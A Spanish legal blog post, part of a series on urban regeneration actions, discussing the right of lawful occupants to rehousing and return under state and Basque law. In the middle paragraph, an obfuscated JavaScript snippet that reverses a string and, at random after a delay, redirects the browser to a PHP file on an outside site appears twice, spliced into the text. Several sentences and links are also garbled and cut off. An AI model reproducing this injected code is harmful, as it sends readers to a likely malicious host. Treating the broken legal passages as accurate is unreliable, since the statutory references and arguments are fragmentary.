Curso sobre la actuación de regeneración urbana [14]: El realojo

POST 14

El derecho al realojo y retorno, que en nuestra historia ha sido un derecho de reciente reconocimiento legal, merece un análisis específico y más todavía en el seno de las aMU-RRi/ARU.

El derecho de realojo y retorno de ocupantes legales aparece por primera vez en nuestro ordenamiento con la DA4 TRLS92, anulada parcialmente por la STC 61/1997, en lo referente a los realojos no expropiatorios de acuerdo con la peculiar concepción de las competencias del Estado de aquella Sentencia) y posteriormente con carácter básico en la LS07, concretamente como uno de los deberes de las actuaciones de transformación en el LS07 16.1.e (actualmente Artículo 18. Deberes vinculados a la promoción de las actuaciones de transformación urbanística y a las actuaciones edificatorias.

  1. Las actuaciones de urbanización a que se refiere el artículo 7.1,a) comportan los siguientes deberes legales:

e) Garantizar el realojamiento de los ocupantes legales que se precise desalojar de inmuebles situados dentro del área de la actuación y que constituyan su residencia habitual, así como el retorno cuando tengan derecho a él, en los términos establecidos en la legislación vigente, sin perjuicio de lo dispuesto en el artículo siguiente.

Este derecho tuvo su fundamento en la escasez de las indemnizaciones y compensaciones que habitualmente percibían los ocupantes legales de viviendas destinadas al derribo con el sistema de valoración separada de suelo y vuelo de los tocinco” target=”_blank”>arts. 105 y toseis” target=”_blank”>106 TRLS76 (es curioso que, constatado que la valoración no era correcta, no se corrigiera el error sino que se adoptara una solución compensatoria y solo para los residentes legales).

Sin embargo, en el marco de las aMU, la L3R desarrolló en sus arts. 14 (13.2 L3R (

  • Para el realojo se define que (aplicable a todos los realojos y no solo a los que son consecuencia de las actuaciones reguladas en la L3R -el azar de la refundición):

    2. En el caso de que se actúe por expropiación, el afectado puede optar por percibir el justiprecio, en cuyo caso, no procede el derecho al realojo (lo que no está exento de fundamento, dado que el realojo fue el parche a una metodología de valoración errores y ahora se ha corregido, resultando paradójico que esta medida tan justa solamente afecte a la expropiación), criterio no coincidente con la norma general del $NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Vasco) 3/2015 de vivienda” href=”http://www.boe.es/diario_boe/txt.php?id=BOE-A-2015-7802#a34″ target=”_blank”>art. 34 LViv regula el realojo con carácter general y el to a las intervenciones en los conjuntos urbanos y rurales, cabe suponer que para las ARU, siendo este último artículo coincidente con el $NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Vasco) 3/2015 de vivienda” href=”http://www.boe.es/diario_boe/txt.php?id=BOE-A-2015-7802#a34″ target=”_blank”>art. 34 LViv en el caso de la actuación por expropiación. No obstante, la prevalencia de la regulación básica decanta la eventual discrepancia en favor de la regulación estatal, dada la competencia exclusiva en materia expropiatoria del Estado (CE 149.1.18°).

    No obstante, esta doble regulación provoca una confusión generadora de inseguridad jurídica. El aspecto más destacable es la exigencia de un nuevo requisito para el reconocimiento del derecho a realojo. Adicionalmente a la regulación autonómica (Finalmente y a pesar de que se defina este derecho al realojo, debemos de tener presente que, dado que el objeto de las aMU-RRi no es la sustitución de la ordenación o de la edificación sino su preservación, la necesidad de realojo y la garantía de retorno será, normalmente, poco significativa y, muchas veces, solo tendrá un carácter temporal y no definitivo, en la medida que sean necesarias las obras sobre las edificaciones y la urbanización, actuaciones de carácter eminentemente físico.

    Por ello, en el siguiente post abordaremos la superación del urbanismo físico, al estudiar las aMU-RR de carácter integrado, las aMU-RRi.

    ANTERIORES POSTS DE LA SERIE:

    Eppur si muove

    (1): La actuación y las denominaciones

    to

    (3): El encaje jurídico

    toriedad de participación

    (5): La ordenación

    (6): La delimitación

    (7): La memoria de viabilidad económica aMU

    to

    (9): La gestión

    (10): La distribución de costes y beneficios

    (11): El deber de conservación

    (12): La revalorización

    (13): Las ayudas

    SIGUIENTES POSTS DE LA SERIE:

    (15): Lo integrado

    (16): El cambio de modelo

    (17): Lo que no es una actuación de regeneración

    (18): Conclusiones y epílogo

    The following two tabs change content below.

    Natxo Tejerina

    Licenciado en Derecho (Deusto, 1979). Abogado (Bilbao, 1980-1991), Profesor en los cursos de urbanismo del IVAP (1995-2020). Funcionario en diversos ayuntamientos desde 1991, actualmente en Urbanismo del Ayuntamiento de Barakaldo en periodo sabático.

    Leave a Reply

    Your email address will not be published.